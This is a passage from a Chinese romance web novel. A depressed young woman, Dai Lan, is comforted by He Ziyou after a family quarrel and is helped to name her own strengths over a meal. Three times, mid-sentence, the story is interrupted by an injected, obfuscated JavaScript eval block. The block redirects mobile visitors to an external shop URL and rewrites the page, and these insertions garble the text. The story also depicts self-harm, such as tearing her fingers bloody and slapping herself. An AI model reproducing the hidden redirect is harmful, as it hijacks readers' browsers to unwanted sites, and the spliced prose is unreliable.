“我不想你因此有任何负担,既然我们从一开始就是平视,那坦白与否都不会成为我靠近的障碍。” 因为这只是个无用的前提。 哪怕像现在这般,推开我千遍万遍。 我心犹在。 38. 群青 哪怕心脏有一瞬间的动摇也算数。 冷却的黑暗空间里,似乎在恍神间坠落光点,让所有不安定都落入柔软。 所有的尖锐被困在蚌里,在困顿和跌宕起伏的心境中磨成粒粒珍珠,她的灵魂会不会是其中一个? 何子游的脚步碾在地板上破碎砂石,属于他的香气破开包裹在代澜周身无形盔甲,试探她的态度。 有什么在沉默中崩坏,他便趁虚而入了。 代澜的喉咙酸痛,用力吸了吸鼻涕,而后就有大衣扑落在她周身,挽留消散的暖意。 黑色羊毛大衣包裹她一小团,代澜初次完整地感受到来自何子游的香气。 比冷风暖,细嗅有毛茸茸的清甜,与所有忐忑吻合,如山间自地底涌出的清泉,温和地贴着岩石河岸的轮廓流淌。 仍将半脸伏低在双臂膝间,代澜默许男人落座她的左侧:“出来得太急,没有给你带上衣服。” “……谢谢。”她近乎哼哼,声音沙哑,虽然未曾再露哭声,可实际上眼泪还是止不住地淌,“但是地上脏,我的眼泪也会蹭到……” 话落,她便作势婉拒这份温暖,但毫不意外被阻止:“别脱了,真要脏了还可以洗,解决办法多得很。” 何子游探手来,为她掖了掖靠近脖子处鼓起的部分:“好好披上吧。” 黑色掩盖发烫的脸颊:“哦……” 之间又沉默。 经历难得的暴怒,跌落痛苦悲伤,大动荡后,代澜的头脑已然没法做任何思考,沉重得经不起一丝刺激。 但从高度紧张中剥离之后,她想的还是担心自己行为所造成的后果是否给他人负担。 手指紧抠,除去泪水,早混上血腥的黏腻。 负担什么的,从她愤怒开始就注定覆水难收。 谁知何子游似会读心:“你放心,叔叔阿姨都没事,还在酒席里,出来的只有我一个。” 她听了又别扭。 没事?自己成这样了,他们什么事也没有? “是我不让他们出来找你的。” 代澜麻木地望向身侧人,脖颈僵硬发酸,一转便只能转身。 尽管所在昏暗处,可他轮廓尚见,眼中疑问自然也被传达几分,何子游依旧沉心:“还是说你想让他们来吗?” 设想父母出来找她,假使找到,也免不了争端升级吧? 大哭一场喉咙太干涸,她只摇摇头。 “所以我不敢赌了,怕更刺激你。”他停顿,让冷风冲淡因这问突袭的悲伤和愤怒,之后又简单几句说了说离开后是如何处理的,代澜听了进去,心下稍有安慰。 何子游的呼吸声很轻,一颗破碎的心好不容易寻回遗失碎片,怎么能不小心呵护:“生病的事,我父母比我先知道。” 这个可以理解,毕竟代敬他们不会直接联系何子游。 “但他们也不知道是因为什么生病。” “你可以试着相信我,”他的语气柔软,又有不易摧折的笃定,“只要你不愿意说,我就不会从旁人嘴里听。” 她该相信吗? 代澜还是动摇了。 这阵香气和温暖无孔不入,让她无法不沦陷其中。 “我……现在还不想说,”今夜承受太多,脆弱的情绪无法支撑她再回忆起过去,从而再度倒塌,“不想说理由。” 一句话刚落地,何子游便紧接:“那就不说,选择权始终在你手上,不论说还是不说,都不影响我。” 代澜阖眼,从胸腔长长呼出一口气,那是来自父母的郁结,沉底好多年:“关于我父母的,你会想听吗?” “只要你说。”他安静,代澜能感受到那视线始终不曾远离。 于是她情感的浪潮先是从被撕裂的一道小口中涌出,之后无情撞上石壁,很久以后才滚落在平坦的沙滩上,缓冲激昂,冲刷一遍又一遍。 他如此耐性,侧耳倾听那些复杂的怨恨和纠结是如何将她一次次凌迟,在最后蔓延上沙滩时只温柔:“辛苦你了。” 泪又掉下来。 也许真的没有人能抵抗在满腹委屈过后被认可的一句,哪怕这个世界上并没有什么真正的感同身受。 可宣泄后的那一瞬间,也只为这一瞬间,有人能和你是站在一起的,就足够了。 “谢谢你。” - 代澜没再参与后面的酒席,是何子游回去处理妥帖,最后拎着她的小包和大衣,借着口罩的掩饰匆匆回到安全通道,再带她一起离开。 她不清楚他有没有被自己父母为难,也不知道身为名人在酒席有没有被认出,又因早退被人数落。 听了自己抱怨这么多,这一趟似乎来得莫名其妙,饭也没吃上,于他而言真是次糟糕的晚饭…… 愧疚又起,漫过代澜的心头,设想可以如何补偿。 地下车库里汽车时有来往,尾气让她胃里翻腾得难受,她急步跟在何子游身后,最后兜到一辆豪车旁。 而何子游不知何时解了锁,为她贴心拉开副驾门,一手搭在车门顶,身子半挨着车:“上车吧。” 代澜的手抚上真皮车座,可又踌躇,几秒后离开,回到衣袋时抬头眼睛触碰他眼神:“你走了,叔叔阿姨坐谁的车?” 那双眼睛为她的犹豫而弯,生出许多化解锐意的温润:“我和他们分开来的,所以你不用担心。” “好。”她情绪不高,声音压得很低,也是害怕有人会注意到他。 何子游的车底座有些高,按她一米六的身高以及穿的衣服上车还有些不便,最后还是男人扶了一把她的腰才顺利坐好。 被那双手触碰只是短短两秒,尽管如此还是让代澜的耳尖染红,打乱了心跳,坐稳后轻念:“谢谢。” “不用谢。”他笑了,替她关上车门,趁着代澜系安全带的功夫也上了车。 直到车子缓缓驶出车库,转出沿江的公路,代澜才有逃走的实感,她偏头望向窗外景色,却蓦地发现倒映出一张妆全花的大饼脸。 完蛋! 她要崩溃了! 习惯素颜太久,竟然忘了今天是化妆出来的,哭了这么久,真是丑死了…… 心里一瞬乱糟糟,手刚想将副驾正上方的镜子拉出来检查脱妆程度,可突然记起来旁边还有一个何子游…… 万箭穿心…… “……我脱妆了。”代澜心死,皱皱巴巴缩在副驾,除了脱妆,还有脱力。 他也诚实:“嗯。” 余光小心试探,看男人打着方向盘,口罩没摘,飞烁的路灯将高挺的鼻梁映出阴影。 仔细看的话会发觉他是笑着的,可话语间认真而不带一丝嘲笑,踏实地给予提醒:“上面就是镜子,需要的话,你左手边那个白色杆抽出来,那也是个镜子。” 代澜懊恼闭眼,对方平静的态度倒是让她舒服很多,可尽管如此也用了五秒接受自己丢大脸的事实。 做完心理准备,她才从包里翻出纸巾和气垫,又按照何子游的提醒准备补妆。 可当她看见镜子里的自己时,那凄惨的模样简直下不去手。 气垫打开又合上,打开又合上。 好丑…… 不论是因瘦削而陷下的脸颊,长期噩梦睡不好形成的黑眼圈,还是麻木到极致的眼神,干瘪而常常被咬破的嘴唇。 更别提因哭了好久而发胀的眼皮,眼睛只能成缝,粉底被纸巾擦得东缺一块西漏一块。 全都好丑…… 不过也没办法了。 她短暂滑落低谷,但很快又回到麻木,习惯性咬唇,在这种无能为力而头脑发懵的氛围里很容易泛入空想。 “是需要卸妆吗?”或许是见她久久未动,何子游询问。 “嗯?”代澜被这句唤醒,补妆难以下手,卸妆好像确实是唯一的路…… 正这么掂量着前后,男人却将方向盘一打,车子稳稳拐过花坛之后在路边停稳,用时不过十几秒:“等等我。” 还没反应过来,何子游便解开安全带下车,代澜盯着他匆忙身影闪入便利店后依旧出神,在等待的间隙,肚子突然“咕噜”一声。 她有些惊慌,除了下午的那杯奶茶算是滴水未进,也怪不得肚子抱怨,赶快揉揉安抚它,顺带祈祷稍后不要在何子游面前再丢脸了。 下一秒,男人便提着一袋东西回到车上。 一团冷意突进,勾得代澜鼻尖瘙痒,好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387920|132767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 险没打出喷嚏。 “喏。” 原来他把那句“嗯?”听成了需要卸妆。 何子游抬手将那袋东西放到她大腿上,不沉,代澜好奇,翻了翻,里面是一瓶卸妆油和两小包卸妆棉,以及……一盒苹果汁。 她故意不拿出那盒苹果汁。 不是盗版的“维莉安”。 是正版的“维利安”。 他还记得呢,她喜欢喝苹果汁。 ……也不算吧,是那年看见他喝以后,才下意识想试试看。 代澜默默捏紧了那包卸妆棉。 只不过这是个秘密。 - 其实刚上车时代澜就想说了。 何子游的这辆车开起来真的很稳,没有像其他车里那种奇怪的气味,连皮革味也消散得很干净,只有来自他的香水味,久闻也不会恶心。 在这基础上,她试着卸妆,却被何子游阻止了:“不急,到了再卸吧。” 轮到她困惑了:“不是回家吗?” 他只轻笑,“当然是先去吃饭,”说罢又抽空转头,“难道你不饿吗?” 代澜往座椅里缩了缩,挪开眼神,正想说“不饿”,可肚子却偏偏作对,简直大喊一声。 身侧人笑意更盛,摇摇头专心开车,只留下主人无助地闭眼,企图将这段丢人的记忆抹除。 车子再行进不过五分钟,代澜望出车窗已是熟悉景色。 偏市中心城区,没有高楼大厦,格局数十年未变,何子游的豪车穿梭在车流之间有些显眼,街道狭窄也有些不便,不过很快驶出最易堵塞的路段,七拐八拐后在一间小店门口停下。 她手上边解安全带,动作很慢,边朝外望。 露露粥店。 名字好熟…… “有印象吗?”何子游不知从哪里变出一个新口罩递给代澜,“进去再卸妆,里面卫生间是干净的。” 她有些懵:“有点吧……”再顺从地接过口罩,戴上再下车。 粥店里很亮堂干净,还有两三桌人在吃,不过里面有装饰将桌与桌之间隔开,坐下后最多看见另一边的头顶,因而隐私性还能保证。 他们刚一进门,柜台后面便钻出一个小女孩高呼:“扫码点单啊!” 喊完这句却是盯着何子游怔住,似乎是在猜测他身份,而走在代澜前头的男人在经过女孩身侧时伸手直接揉上她发顶:“这就不认得我啦?” 听见这句,女孩立即反应过来,咧嘴笑得开怀,举起双手就抓住男人揉乱头发的手:“游哥哥!你怎么今天来了!” 代澜站在离他们三步远的地方,一时有些尴尬。 就见何子游蹲下,耐心道:“今天有空就来了,你先带这个姐姐去卫生间。” 小女孩几乎是听见这句“姐姐”就扭头望向代澜,眼神亮晶晶的,回头立即朝何子游比了个“OK”就跑到她面前。 那双刚拉过何子游的手黏上代澜的,稚嫩又开朗:“姐姐你跟我来。” “不做自我介绍人家怎么愿意跟你走?”男人又笑着提醒。 两只小辫俏皮,女孩噘嘴,面对代澜却是羞涩了,双眼水汪汪望向代澜,惹得她难得心软:“姐姐我是小睿。” “你好呀,叫我小澜姐姐吧。”代澜被小睿轻轻拽着往里面走,经过何子游时被拍拍肩,顺带示意自己在哪里坐。 她点头,小睿还在念念叨叨:“那不行,我叫那个哥哥做游哥哥,我应该叫你澜姐姐……” “嗯嗯,那就叫澜姐姐。”代澜顺着小睿,很快被领到女卫生间,而女孩也在提示了各处用品在哪儿后便蹦跳着离开了。 一时安静。 代澜环顾四周,确实如何子游说的那样干净。 镜子很大,灯光明亮,洗手台上还放了香氛,很难想象一间小店会这么齐全。 她稍微安心,放松警惕,正要解开口罩卸妆,余光却见半个头只露出一双眼在门外窥探。 还以为小睿走了,代澜不由得失笑:“怎么啦?还有什么事吗?” 见这么快就被揪出,小睿脸上藏不住的惋惜,不过很快因为好奇而兴奋重燃:“澜姐姐,你是不是游哥哥的女朋友啊?” 39. 群青 “啊?” 眼睛微微睁大,代澜刚想回应,左手抬起却恰好碰到了什么,噼里啪啦一阵。 低头看,原是不小心碰掉了洗手台上的肥皂盒,蓝得剔透的肥皂静静躺在白瓷盆里,她有些乱神,但先回答小睿:“我不是啊。” 小睿眨巴几下眼,被发现后倒也不藏了,大大方方从墙后出来,得到否定回答噘嘴,稚嫩声音轻轻埋怨:“好吧好吧……” 代澜不清楚他们之前说过些什么,此时也无法再去深究,伪装笑意几乎花光气力。 好在应付一个看上去只有五六岁的小孩已足够,看她告别后气鼓鼓跑走,笑终究熄灭。 安静,等最外隔开餐厅与卫生间的珠帘不再碰撞摇晃,直到最后只剩自己的呼吸声。 垂眸,代澜摘下口罩。 抬眼审视镜子里的自己。 她眼神疲惫没有焦距,仿佛一块被海水浸泡许久的腐烂木头,被捞上岸后赤条条地被风抽打,早已麻木不仁。 真是一副讨人厌的皮囊啊。 有时候代澜觉得自己的灵魂好像会飞起来,譬如现在,漂浮在半空中审视着自己,而这副□□又在镜子里审视着自己。 从上至下,从下至上,仿佛这是另一个人。 看卸妆棉沾上卸妆油开始不停揉搓头颅的正面,把那层看得见的狼狈面具一点点卸下,露出更丑陋的模样。 她又没有声音地哭了一会儿,仿佛只为观察从皮囊里还能挤出多少水,而为此向心脏捅的刀子有真实的痛。 这就是“我”的样子吗?尽管看过无数次,她好像还是不认识自己。 都说人生来到世界上都是赤/裸的婴儿,一个头,一双眼睛,两只耳朵,一个鼻子,一张嘴,大家都是一样的。 可为什么长着长着,“我”就成了“这副”模样呢? 代澜又想起来旁人各式的“笑”。 记起刚被确诊那段时间,某天半夜睡不着,她虚扶着洗手台的边缘凑近倒映的自己,学着重新认识自己。 一本病历提醒的不止是生病,还提醒了她似乎已经忘记有多久没有发自内心地笑过。 那么先从微笑开始。 她微微扬起嘴角,定格不过几秒又退却,好似刚舒展的含羞草又遇上阻碍。 不过,好像还行。 再来个露齿笑,她鼓励自己。 ……可为什么一张脸好像总有哪里不和谐? 那再试试开怀大笑? 好诡异…… 代澜死死盯着自己镜子里的脸,甚至凑得很近,近得几乎要贴上去。 直到眼珠里的血丝都能看得一清二楚,直到瞳孔的幽黑好似要将自己全部吞噬。 …… 即便指甲被抠得所剩无几,可刮在陶瓷上依旧发出涩而尖锐的声音,如此令人烦躁,代澜却恍若未闻。 忽然,她从喉间吐出一口绵长的气,好似灵魂被抽空,陶瓷的尖叫消失了,从指甲和肉之间冒出断断续续的红色,换来对“笑”的醒悟。 是这双眼失去了活力。 或者说,生命。 嘴巴不论如何笑容,尝试开怀,都与上半张脸的僵硬割裂,拼在一起就是反常的伪人感。 好像是自己,又好像不是。 笑啊……你笑啊……这双眼怎么就不会笑了?! 寄居在这副躯壳的灵魂对□□发了火,脑子里甚至能听见另一个自己怒吼到嘶哑的声音,可不论如何就是无法在眼睛里看见麻木和空洞以外的东西! 她试图强迫和肉/体达成妥协,可它似乎无法操控,反而放肆地从眼神中迸出恨意。 手比意识快,“啪”地清脆一声,惨白脸颊上缓缓泛出刺眼的红,一滴泪从右眼角淌下,透明途经红色反扑一种难以言喻的酸涩感。 那就恨自己吧。 …… 睁眼的一瞬,代澜从郁结里全身剥离出来。 跌落回忆旋涡的代价不菲,她大口喘着气,脖颈长时间僵硬而酸,后背冒的汗早濡湿打底衫,好似被浪拍上岸的鱼好不容易又被冲回海里。 但内心下了死命令,只容许自己缓神一阵。 她还在外面,虽然厕所单间在后面,可也占了人家的一面洗手台。 深呼吸后,强打起精神将未完成的卸妆步骤继续完成。 一年已过,她学会和抑郁共存,虽然偶尔还是会打架,像今夜那样,但比从前好些的是,起码能从战后的荒野中站起来,宁可爬也要爬回家。 等回家,回家了再把思绪彻底整理一遍。 心情稍有平复,把指望留到再晚些,代澜正想开水龙头洗脸,忽地注意到落在洗手池底的肥皂。 哦,好像是刚才不小心碰到的。 指尖触碰瞬间却唤醒某些碎片记忆…… 何子游……女朋友? 肥皂在掌心揉出细腻泡沫,代澜今天的脑子确实有些使用过度了。 她不由自主,却又如此顺其自然地将“女朋友”一词,与当初看的微博,也就是何子游的“白月光”一词进行联想。 石块般的脑袋在冬季冷水虔诚洗涤下好不容易获得一丝清明。 不对……何子游如果这样帮我,会不会影响他追白月光? 一瞬间脑袋简直搅成一团浆糊,更别提此刻因过载而似遭受棒槌捶打的太阳穴, 嘶……好痛…… 使劲锤了捶脑袋,过分愤怒过分悲伤的后遗症尽显,容不得代澜往深处思考,但强烈的边界感和自我秩序感逼迫她交出答卷,哪怕留下一个暂时的答案。 从前只是哥哥,或许现在…… 再度望向镜子,剥去狼狈面具的她又回到了往常模样,阵痛后深呼吸,直到一潭死水静幽幽。 现在应该可以被称作能够信任的朋友吧。 - “姐姐,你终于出来了啊!这边这边……”小睿几乎是即刻迎上,小手自然牵上代澜的。 抱着一团乱麻,她慢吞吞走出了卫生间,任由小睿牵引。 绿紫色小袄敞开,衣摆因前冲的动作迎风鼓起,女孩直接拉着她来到最里面被山水屏风围住的位子,眼瞧着代澜坐到何子游对面,她才昂首挺胸问:“那上菜了吗?” 故作老成的模样让代澜心软,对面的人紧接着就回应:“上上上,去吧。” “好嘞!”小睿笑吟吟地撂下这声,人已飞快走远。 虽说代澜刚交了“朋友”的答案,可不知为何,此时氛围依旧是萦绕着淡淡尴尬。 “给你洗过了,”何子游先开口,似是随意指了指她面前的碗筷,很快又恢复两手肘并行在胸前撑桌,身子前倾的姿态,见代澜点头道谢,歪头笑意更甚,“谢什么?你好些了吗?” 好与不好的…… “算是好些了吧……”代澜捧起面前的热茶,菊花香气悠扬但难解头脑混沌,抿了一口,放杯时轻念,难掩惆怅。 他们之间沉默一阵,空白却并不压抑,只等流水到达,顺其自然。 不过这次,代澜想主动些。 “学社工的时候会接触到一些案例,”她从两人有交集的职业入手,娓娓道来,“像我和我的父母之间的矛盾,就属于需要家庭社会工作的帮助……” 代澜原本想笑着谈,可连自己也能感受到,脸部肌肉似乎不为她所控。 笑得或许很苦,嘴角抽动着,她将呼吸沉了又沉,不得已将一句话拆解成两句,压抑那股涌来的鼻酸,不敢对视:“我才意识到,原来这就是医者不自医。” 曾经还想学成以后若是陷入困境还能自救,可现如今看来,自己不过是个半吊子,说什么帮助他人呢,连自己都救不了,还好意思说这些。 “阿澜。”对面人轻声唤她,声音轻而易举越过中间阻碍,却不容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13425978|132767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易被旁人听去,“你是在贬低自己吗?” 好似她任意让自己沉沦在深渊时,忽然一束光照来,将她的阴暗面捕获。 心思被戳穿,代澜有些乱,但仓皇又有何用?好像撒谎也会被看穿,索性诚实:“你又看出来了。” 也不知道是自己演技太拙劣,还是何子游太聪明,似乎自己每次心里有什么掩藏于话语之下,一点未提及的低落都会被看出。 是,她就是在贬低自己,甚至有时会自暴自弃地想,是不是只要快些贬低,就可以在别人讨厌自己之前兜底。 身后山水屏风文雅,衬着他眉眼愈发柔和。 代澜眨眨眼,与何子游目光相交一瞬好似迎面暗潮,光明下涌动无尽深意,她暂且难以读透。 “可我觉得你很好。”他轻笑,比她的自然多得多,先前氤氲不安被拨开一道清晰的路。 她又闻到来自何子游身上的那阵香味了。 但代澜反而低头逃避:“不,你觉得很好,又有什么用呢……是我自己,讨厌自己。” 将手指缩成拳,她尽力不让自己再去撕手皮,逼迫手指安定,叫指甲都嵌入肉里,麻木中获取知觉。 无法感受到快乐、兴奋、幸福、激动……好像在茫茫雾气里行走,连一个指示牌也没有。 只有讨厌自己,伤害自己,才能在长久的麻木里找到唯一的一点痛感。 是痛让她感受到自我还存在,是痛让她感受到□□还存活! 钝意的雾气里,代澜跑得跌跌撞撞,身后便是蔓延的沼泽,若是彻底放弃疼痛,麻木便会将她彻底吞噬,失去与外界最后一丝联系。 “可是我有点好奇。” 代澜的脖颈有些重,背部痛得很,尽管如此,她还是抬头:“好奇什么?” “你讨厌的自己是什么样的?”何子游起身,为代澜又斟上饮尽的菊花茶。 “讨厌很多地方,”她的声音又低落,“我长得不好看,经常给别人带来麻烦,粗心,记不住东西,胆子小,不专心,冲动鲁莽,心不灵手不巧,容易多想……” 原先还只当数几个大头,可何子游丝毫没有叫停的意思,代澜便不知不觉越数越多。 直到她声音细如蚊,直到她在脑海里再也搜刮不出一个不重复的缺点,才不舍地闭嘴。 不过最后还是补充了一句:“可能还有漏了的,想起来再说吧。” “好多啊,”何子游惊奇,边说边将毛衣袖捋上半臂,“数了数,好像都有三四十个了吧……” 有这么多吗……? “那优点呢?”很自然地,在代澜料想中,他果然问出这句。 她强颜欢笑,双手撑着沙发微耸肩,又叹气:“好像有点难。” “很难吗?那我找一个。” 他分明是明知故问,早有准备,还要自己配他演戏……估计又是说什么“其实你长得很好看,很聪明”之类的安慰吧……代澜默默泄气。 “你能一下子数出自己三四十个缺点,很厉害,这就是优点啊。” 什么? 这也是优点吗? 她从沮丧里懵然抬头,却见何子游再不压嘴角笑意,直直望向自己,但代澜却并未感受到一丝被戏弄的感觉,只是好似被轰然往怀里塞了一大捧阳光,猝不及防。 只因为他是何子游。 “这算什么优……” “这就是优点。” 何子游肯定且肯定,从她手里接过对是缺点还是优点的界定权,正如与他突然重逢,突然地靠近,在不知不觉中连同自己的命运也被改变。 这个世界,代澜所在的世界,混乱的秩序被他推翻,温柔又桀骜地宣布,需要且必要重新定义一切。 然后将主导权交给她,是如此相信她有重来的力量。 “既然你用四十条缺点否定自己,那就从这四十分之一开始肯定自己吧。” 40. 群青(有点不满意,待修) 可我会不会不配? 何子游太过自信,以至于代澜有些恍惚和错愕,心脏躁动,自卑先打了头阵,抵御这世界发生的微妙偏移。 而后是不可置信,在黑暗里遇见光亮的第一个瞬间并非直视,而是回避。 她很自然地认为,所谓找到四十条优点是如此荒谬,不过是天方夜谭。 因为不必说明,于代澜而言,那些能被称为优点的品格就是高贵又伟大的。 为世界贡献,有一技之长,诚实,善良,有计划,细心,认真专注,学习优秀,再具体一点不过像做饭好吃,长得好看舒服…… 或者说这些都是更通俗的答案,广为流传,人人都想被如此形容,而代澜也是朝这些目标奔跑人群的其中之一。 与这些相比,“能一口气说出四十个缺点”,这个何子游嘴里的“优点”,是这么的跳脱,不符合常理。 具体得如同告诉她今天几时几分要搬哪块砖,与那些她心目中的“伟大优点”实在相去甚远。 可…… 优点也有高下之分吗? 忽然被这问题缠住脚步,意料之外地在中途停下。 倾听、思考。 代澜从气喘吁吁中冷却,双目张望,她才发现自己蒙着头奔跑了太久,以至于忘记自己脚踩的是广阔大道、错落峡谷、还是独木桥? 然而拨去迷雾,她才发现脚下竟只是一根钢索! 或者说,自始至终,从来都是平坦大道,而那根钢索不过是她自己给自己在大道中央用粉笔画的一条线,而四面八方是无际与寂寥。 这不是囚笼,她竭力否认,这是完美无缺,是通往成为更好的人的庄康大道。 可另一个声音却沉静:这就是你给自己做的牢笼。 不,不是,她只是想要一个完美的自己。 可世界上哪里会有百分之百完美的人?声音来自天外。 没有……吗? 陷入混沌……代澜多少次以高要求,高道德以及强烈的秩序感约束自己,小心翼翼行走在钢索之上,稍有不慎,一点瑕疵就将自己贬低成一败涂地,跌落谷底…… 这个世界上真的没有“完美”吗? “完美”的顶峰实在太漂浮,过分沉溺便变成囚笼,失去最真实的自我。 而真实又是何物? 她迷失了。 …… 在飘忽的思绪里懵懵懂懂,代澜隐约摸索到了什么的尾巴,却也仅此而已。 苏醒,再清晰,才回到现实。 她在与自我对话的幻境里徘徊太久,直到回归现实,才发觉触碰到的出口,竟是现实里双手被撕破而流血的伤口。 左手藏在桌下,指甲根处早被撕得不堪入目,轻轻用力,鲜血又涌出。 没关系……代澜早对这点痛感熟视无睹,伸手将桌上的湿巾拆开擦拭伤口,甚至连撕扯的痛都无动于衷。 然后是一声长叹。 “还想到些别的优点吗?”何子游轻声询问,不忍打扰她消化的时间。 其实代澜走神得不久,头脑风暴几乎是瞬时进行的。 “我……”她还未彻底离开与自我纠缠对抗的神思,显得有些心不在焉,灵魂飘零,“好像找不出。” 这回答显然在何子游的意料之内,刚开口“没关系……”视线却被她后侧方吸引,于是后半句话暂且神隐。 身后珠帘摇晃,碰撞声清脆,代澜沿着他视线转过身子,刚好见小睿拨开珠帘,一个女人双手戴着厚实的隔热手套,端着一砂锅迅速穿过帘子,将它放置在桌子中间。 女人扇了扇过浓蒸汽,离开火焰不久还鼓着一个又一个泡,稠而富含胶质,蛤蜊张开嘴巴,而虾全身红通蜷在乳白里。 “要放葱花吗?”女人很开朗,早前点完菜时便送来了小碟葱花置于桌沿。 何子游轻昂头示意女人以对面人的意见为主,她便循意转头,代澜眨巴眨巴眼,有些局促,倏然对视女人笑容恬静,好似荷花绽开,一句“需要放吗”关照温柔。 待代澜轻点头,女人便利落地将葱花均匀倒进粥里。 嫩绿与红,乳白做底衬,海鲜清甜携粥香一卷到代澜的鼻尖,不用特意去嗅便甘愿败下阵来,让先前高度紧张的胃得到慰藉。 这是代澜点的,卫生间里何子游给她发了菜单。 “白蛤鲜虾粥,就一锅你们够吃吗?不够摁服务灯让小睿拿菜单接着点。”女人极其干练,手套解了随便塞进围裙面前的大兜里,手再往围裙上蹭蹭。 何子游拎来桌边的汤匙搅和搅和粥,里头料足足的:“够了,我们胃口小,吃不多。” “给你们互相介绍一下吧,”他放下汤匙,以手所示,“这位是露姐,这家店的老板,我小时候经常来店里吃饭……” “也是我妈妈!”还未等何子游介绍完,小睿便插嘴扬声炫耀,双手高举过头,臭屁得很。 许露抬手揉揉女儿的头发,笑容温婉,代澜能感受到她身上安定的磁场,令人不自觉便卸下伪装,主动道:“你好。” “你好。”许露笑着应声。 经何子游这么一提,代澜似乎对这家露露粥店确实有些印象,好像是以前大院路口开过……后来就不太清楚了,原来是搬到了这边吗? 紧接着何子游继续:“这位是代澜,就是小时候救我的那位。” “啊,”许露恍然大悟,连连点头,“久闻大名啊,原来就是你……” 这番反应倒是让代澜有些不好意思,摇着手:“没有没有……” “这可不是能谦虚的事儿啊,都过命的交情……”女人惊讶得用手虚掩着嘴,忽然又想起什么似的拍拍女儿的肩,“睿睿快去冰柜给姐姐拿瓶可乐,啊……小澜、可以叫你小澜吧?” “可以可以……”代澜莫名其妙手忙脚乱。 许露又细致问:“喝不喝得了可乐呀?还是说来个橙汁?不冻的?” “不喝了不喝了,不用……”招待实在太热情,代澜就要招架不住,连忙朝何子游投去求助眼神。 好在何子游总算站出来,这男人分明在旁边一直偷笑,代澜甚至要怀疑他是不是故意让许露知道这件事,好看她被热情围攻:“露姐你就别弄了,我给小澜买了苹果汁来着,别让小睿拿,浪费。” 许露眼神流连两人之间,柔和不变,笑眼却更弯,快口道:“好好好,那就喝苹果汁吧,下次我再请小澜呀。” 看着许露说完,代澜连连道谢,又见她与何子游交代了几句,大概是问父母好之类的,让常来,便匆匆离开。 珠帘又静,氛围却不似先前那般凝重,对面的男人主动为她盛粥。 当热腾腾的粥被捧到面前,香味算是瞬间撬开了代澜的食欲,待何子游也盛好落座,两人终于开动晚饭。 不得不说,这一道海鲜粥,香味算是引入门,而粥更盛与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450458|132767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香味的甜美,海鲜应是现从池子里捞,再处理的,尝的就是一个鲜甜。 今晚情绪大起大落,直到一口热粥入胃,酸涩和难以舒缓的郁气才被温暖包裹,抚平或驱逐。 她确实是饿极了,吃完一碗又连舀了两碗,一口气吃完才算舒畅。 何子游隔着晃动的雾帘问她:“饱了吗?” “嗯……还不算,等等还会吃的。”撇撇手,代澜又瘫下了。 她吃东西总习惯这样,一口气吃完虽然当时有些胀肚,可再歇歇还是能吃,辛穗称之为回合制吃饭。 倒是何子游看着她不知忽然笑什么,并非大笑,好似只是想起什么趣事。 那双眼亮亮的着了星的碎闪,只是偶然与代澜目光触及,两只蜗牛的触角轻碰,便很快躲闪,却足够让她瞬化强持镇定的羽衣:“你笑什么?” “我又发现了你一个优点。” 这话说得得意洋洋,难得地,代澜从他这里看见一点嚣张。 比起处处温柔,她遇见的嚣张还真是算少。 她捏着汤匙,指甲上的血凝固成痂,总算在脑袋被糊住之后动了与外界交流的心:“什么优点?” 只是好奇又是什么微小的,具体的事值得被称赞。 “你吃葱花。” 四个字,没有后续。 代澜微怔,瞅着他又勺了两口粥入嘴,就是不说下句,她自然要追问:“吃葱花怎么就是优点了?” 汤匙在碗壁上刮了两下,舀起最后一勺,何子游慢条斯理:“我也吃葱花啊。” “啊?所以呢?”是她太迟钝,还是这个谜太难? “这样我们以后一起吃饭就不用为了加不加葱互相谦让了。”何子游特意停下手头动作,一板一眼盯着代澜,说得如此一本正经。 代澜看着他认真回答,笑容终究忍不住:“这居然也是优点吗?” “当然了,吃饭不挑食可是个大优点,”何子游边盛粥,边和代澜分享,“我平常和工作室的人一起吃饭,他们不吃葱花的话,很多大锅它就缺了那点味儿。” 不知为何,代澜低头只望面前的碗,还有拣出的蛤蜊,有些鼻酸,但仍然浅笑,抬眸小心试探:“那如果我掰一次性筷子能不掰歪呢?” “当然也是优点。”他放下勺子,无需犹豫便将肯定赠与手心,即便她茫然不确定,好像何子游也会耐着性子,用桩桩件件稀松平常的小事都成为环绕的她的,可盛赞她的理由。 代澜回头望向先前她纠结许久的“完美”,她恪守这条线行走了太久,以至于忘了,曾几何时,她也因不像“优点”的“优点”开心过。 而再回头望向另一片原野,一些灰旧的,古怪的东西,如一条毛毛虫别扭地弓成“凹凸”“凹凸”的形状,挤进她被铁板封死的脑袋。 有妈妈小时候夸她不挑食,学写字从来按笔画顺序写。 有同学夸她一整个学期下来,课本保持得崭新。 